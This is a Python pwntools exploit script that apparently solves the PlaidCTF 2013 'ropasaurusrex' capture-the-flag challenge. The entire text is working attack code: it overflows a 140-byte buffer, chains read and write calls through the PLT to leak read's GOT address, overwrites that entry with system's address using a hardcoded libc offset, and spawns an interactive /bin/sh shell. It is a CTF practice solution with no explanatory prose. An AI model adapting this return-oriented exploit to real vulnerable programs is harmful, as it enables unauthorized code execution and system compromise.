[Plaid 2013] ropasaurusrex

from pwn import *
from time import *
 
p = process('./ropasaurusrex')
elf=ELF('./ropasaurusrex')
 
pppr = 0x80484b6
offset = 0xf7ed5af0 - 0xf7e3ada0 #read - system
bss = 0x8049628
read_got = elf.got['read']
 
payload = "A"*140
#bss <-"/bin/sh"
payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
 
#print real_read_got
payload += p32(elf.plt['write'])
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
#read_got -> system_addr
payload += p32(elf.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
 
#system /bin/sh
payload += p32(elf.plt['read'])
payload += "AAAA"
payload += p32(bss)
 
p.sendline(payload)
p.sendline("/bin/sh")
sleep(1)
 
read = u32(p.recv(4))
print hex(read)
 
p.sendline(p32(read - offset))
p.interactive()